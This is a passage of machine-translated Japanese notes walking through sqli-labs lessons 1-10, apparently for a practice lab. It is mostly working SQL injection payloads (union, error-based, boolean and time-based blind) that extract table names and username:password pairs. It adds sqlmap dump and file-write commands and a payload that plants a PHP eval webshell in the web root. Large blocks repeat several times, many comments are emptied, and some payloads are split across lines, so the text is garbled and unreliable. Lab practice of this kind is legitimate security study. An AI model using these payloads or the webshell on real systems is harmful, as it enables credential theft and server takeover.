sqli-labs通関ノート(less 1-less 10)
80826 ワード
注:PHPstudy使用時magic_quotes_gpcは閉じる必要がある
less1-less4 一、判定注入点 二、利用 三、sqlmap 四、手注 Less-1 less-2 less-3 less-4 less5-less6 一、紹介 二、sqlmap 三、手作業 less-5 less-6 less-7 一、予備知識 二、手作業 三、sqlmap less-8 一、予備知識 ブールベースブラインド less-9 一、予備知識 時間ベースのブラインド 二、手作業 less-10
less1-less4
文書ディレクトリ
less1-less4
一、注入点の判断
URLに対応するID値を変更して、通常の数字、大きな数字、文字(一重引用符、二重引用符、二重引用符、括弧)、反スラッシュにすることで、URLに注入点があるかどうかを検出します.
二、利用
1、 order by 。
2、 union select , :
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、 union select , :
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
4、 union select , :
0' union select 1,group_concat(username,0x3a,password),3 from users--+
三、sqlmap
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" --dbs --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security --tables --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security -T users --columns --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security -T users -C 'username,password' --dump --batch
四、手書き
Less-1
http://43.247.91.228:84/Less-1/?id=1'
// , SQL
http://43.247.91.228:84/Less-1/?id=1' order by 3 --+ //
http://43.247.91.228:84/Less-1/?id=1' order by 4 --+ //
// 3
// id=1 ,
http://43.247.91.228:84/Less-1/?id=222' union select 1,2,3 --+
// 2 3
http://43.247.91.228:84/Less-1/?id=222' union select 1,database(),user() --+
// security root@localhost
爆庫、表、列、内容四歩曲:// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2, group_concat(username,0x3a,password) from users --+
//0x3a:0x ,3a 58, ascii ':', password username
less-2
less-1とほぼ同じですが、今回はデジタル型で、「閉じる必要はありません.payloadを与えます.// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2, group_concat(username,0x3a,password) from users --+
less-3
上とほぼ同じですが、今回idは単引用符と括弧で包まれています.payloadを与える:// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2, group_concat(username,0x3a,password) from users --+
less-4
上とほぼ同じですが、idは二重引用符と括弧で包まれています.Payloadを与えます.// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2, group_concat(username,0x3a,password) from users --+
// :mysql 1')))) 1
less5-less6
一、紹介
エラー注入形式は2つのネストされたクエリー、すなわちselect...(select...)であり、中のselectはサブクエリーと呼ばれ、彼の実行順序もサブクエリーを先に実行し、それから外のselectを実行する.二重注入は主にいくつかのsql関数に関連している:rand()ランダム関数、0~1の間のある値floor(a)の整数関数を返し、a以下の値を返し、最もaに近い整数count()集約関数もカウント関数と呼ばれ、クエリ対象の総数group by clauseパケット文を返し、クエリ結果パケットに従ってエラーを報告することで具体的な情報を表示する.
二、sqlmap
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1"
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" --current-db
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security --tables --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users --columns --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users -C 'username,password' --dump --batch
三、手作り
less-5
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//0,1 1,1 2,1 3,1
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//Limit 0,1 1,1 2,1 3,1
less-6
less-5と差が少なく、知識は二重引用符で閉じる必要がある.//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//0,1 1,1 2,1 3,1
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//Limit 0,1 1,1 2,1 3,1
less-7
一、予備知識
mysqlデータベースは浸透中であり、データの読み取りに加えてファイルの読み書きも可能である(権限が十分であることを前提とする)
読み込みの前提:1.ユーザー権限は十分に高く、できるだけroot権限を持つ.secure_file_privはNULLではありません
二、手作業
Dディスクにflagを新規作成します.txtはpayloadを読み込む:`http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file("D:\\flag.txt"),3 --+`
サイトのルートディレクトリに一言木馬を書き込み、包丁でpayloadを接続します.http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["x"]);?>' into outfile"D:\\Work\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php" --+
三、sqlmap
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-read "D:\\flag.txt"
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-write "D:\\flag.txt" --file-dest D:\Work\phpstudy\PHPTutorial\WWW\sqli\Less-7 -v 2
//( , )
less-8
一、予備知識
ブールベースのブラインド注記
方法1:left(database(),1)を用いて試行する
left(a,b)左側からaの前bビットを切り取る
payload: http://127.0.0.1/sqli/Less-8/?id=1' and length(database()) = 8 --+
// , 8
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),1)>'a' --+
// a,
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),2)>'se' --+
// se
security
方法2:substr()とascii()関数を用いて試みる
substr(a,b,c)は、b位置から文字列aのc長を切り取る.Ascii()は、ある文字をascii値に変換する.
mid(a,b,c)位置bから、a文字列のcビットOrd()関数とascii()を切り取り、文字をascii値limit mに変換する.nここでmは記録開始のインデックスを表し、0からのlimit 2,4は第3条から第6条までの計4条を取り出すレコードを表す
payload: :
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(mid(database(),1,1))=115--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
http://127.0.0.1/sqli/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
// : , users password 。
less-9
一、予備知識
時間ベースのブラインド注記
sleep()関数を使用します.正しい時はそのまま戻り、間違った時は5秒待ちです.
二、手作業
payload: :
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
less-10
less-9とほぼ同じで、異なるのは閉鎖方式が「payload」に変更されただけです. :
http://127.0.0.1/sqli/Less-9/?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
1、 order by 。
2、 union select , :
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、 union select , :
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
4、 union select , :
0' union select 1,group_concat(username,0x3a,password),3 from users--+
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" --dbs --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security --tables --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security -T users --columns --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-1/?id=1" -D security -T users -C 'username,password' --dump --batch
http://43.247.91.228:84/Less-1/?id=1'
// , SQL
http://43.247.91.228:84/Less-1/?id=1' order by 3 --+ //
http://43.247.91.228:84/Less-1/?id=1' order by 4 --+ //
// 3
// id=1 ,
http://43.247.91.228:84/Less-1/?id=222' union select 1,2,3 --+
// 2 3
http://43.247.91.228:84/Less-1/?id=222' union select 1,database(),user() --+
// security root@localhost
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-1/?id=222' union select 1,2, group_concat(username,0x3a,password) from users --+
//0x3a:0x ,3a 58, ascii ':', password username
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-2/?id=222 union select 1,2, group_concat(username,0x3a,password) from users --+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-3/?id=222') union select 1,2, group_concat(username,0x3a,password) from users --+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users' --+
// :
http://43.247.91.228:84/Less-4/?id=222") union select 1,2, group_concat(username,0x3a,password) from users --+
// :mysql 1')))) 1
一、紹介
エラー注入形式は2つのネストされたクエリー、すなわちselect...(select...)であり、中のselectはサブクエリーと呼ばれ、彼の実行順序もサブクエリーを先に実行し、それから外のselectを実行する.二重注入は主にいくつかのsql関数に関連している:rand()ランダム関数、0~1の間のある値floor(a)の整数関数を返し、a以下の値を返し、最もaに近い整数count()集約関数もカウント関数と呼ばれ、クエリ対象の総数group by clauseパケット文を返し、クエリ結果パケットに従ってエラーを報告することで具体的な情報を表示する.
二、sqlmap
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1"
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" --current-db
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security --tables --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users --columns --batch
python2 sqlmap.py -u "http://43.247.91.228:84/Less-6/?id=1" -D security -T users -C 'username,password' --dump --batch
三、手作り
less-5
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//0,1 1,1 2,1 3,1
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
// :
http://43.247.91.228:84/Less-5/?id=222' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//Limit 0,1 1,1 2,1 3,1
less-6
less-5と差が少なく、知識は二重引用符で閉じる必要がある.
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//0,1 1,1 2,1 3,1
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(column_name,0x3a,0x3a) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//
http://43.247.91.228:84/Less-5/?id=222" union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
//Limit 0,1 1,1 2,1 3,1
less-7
一、予備知識
mysqlデータベースは浸透中であり、データの読み取りに加えてファイルの読み書きも可能である(権限が十分であることを前提とする)
読み込みの前提:1.ユーザー権限は十分に高く、できるだけroot権限を持つ.secure_file_privはNULLではありません
二、手作業
Dディスクにflagを新規作成します.txtはpayloadを読み込む:`http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file("D:\\flag.txt"),3 --+`
サイトのルートディレクトリに一言木馬を書き込み、包丁でpayloadを接続します.http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["x"]);?>' into outfile"D:\\Work\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php" --+
三、sqlmap
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-read "D:\\flag.txt"
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-write "D:\\flag.txt" --file-dest D:\Work\phpstudy\PHPTutorial\WWW\sqli\Less-7 -v 2
//( , )
less-8
一、予備知識
ブールベースのブラインド注記
方法1:left(database(),1)を用いて試行する
left(a,b)左側からaの前bビットを切り取る
payload: http://127.0.0.1/sqli/Less-8/?id=1' and length(database()) = 8 --+
// , 8
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),1)>'a' --+
// a,
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),2)>'se' --+
// se
security
方法2:substr()とascii()関数を用いて試みる
substr(a,b,c)は、b位置から文字列aのc長を切り取る.Ascii()は、ある文字をascii値に変換する.
mid(a,b,c)位置bから、a文字列のcビットOrd()関数とascii()を切り取り、文字をascii値limit mに変換する.nここでmは記録開始のインデックスを表し、0からのlimit 2,4は第3条から第6条までの計4条を取り出すレコードを表す
payload: :
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(mid(database(),1,1))=115--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
http://127.0.0.1/sqli/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
// : , users password 。
less-9
一、予備知識
時間ベースのブラインド注記
sleep()関数を使用します.正しい時はそのまま戻り、間違った時は5秒待ちです.
二、手作業
payload: :
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
less-10
less-9とほぼ同じで、異なるのは閉鎖方式が「payload」に変更されただけです. :
http://127.0.0.1/sqli/Less-9/?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
`http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file("D:\\flag.txt"),3 --+`
http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["x"]);?>' into outfile"D:\\Work\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php" --+
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-read "D:\\flag.txt"
// payload:
python2 sqlmap.py -u "http://127.0.0.1/sqli/less-7/?id=1" --file-write "D:\\flag.txt" --file-dest D:\Work\phpstudy\PHPTutorial\WWW\sqli\Less-7 -v 2
//( , )
一、予備知識
ブールベースのブラインド注記
方法1:left(database(),1)を用いて試行する
left(a,b)左側からaの前bビットを切り取る
payload:
http://127.0.0.1/sqli/Less-8/?id=1' and length(database()) = 8 --+
// , 8
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),1)>'a' --+
// a,
http://127.0.0.1/sqli/Less-8/?id=1' and left(database(),2)>'se' --+
// se
security
方法2:substr()とascii()関数を用いて試みる
substr(a,b,c)は、b位置から文字列aのc長を切り取る.Ascii()は、ある文字をascii値に変換する.
mid(a,b,c)位置bから、a文字列のcビットOrd()関数とascii()を切り取り、文字をascii値limit mに変換する.nここでmは記録開始のインデックスを表し、0からのlimit 2,4は第3条から第6条までの計4条を取り出すレコードを表す
payload:
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(mid(database(),1,1))=115--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
http://127.0.0.1/sqli/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105--+
:
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 0,1),1,1))>67--+
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select username from security.users order by id limit 1,1),1,1))=65--+
// : , users password 。
less-9
一、予備知識
時間ベースのブラインド注記
sleep()関数を使用します.正しい時はそのまま戻り、間違った時は5秒待ちです.
二、手作業
payload: :
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
less-10
less-9とほぼ同じで、異なるのは閉鎖方式が「payload」に変更されただけです. :
http://127.0.0.1/sqli/Less-9/?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1' and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+
less-9とほぼ同じで、異なるのは閉鎖方式が「payload」に変更されただけです.
:
http://127.0.0.1/sqli/Less-9/?id=1" and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
:
http://127.0.0.1/sqli/Less-9/?id=1" and If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+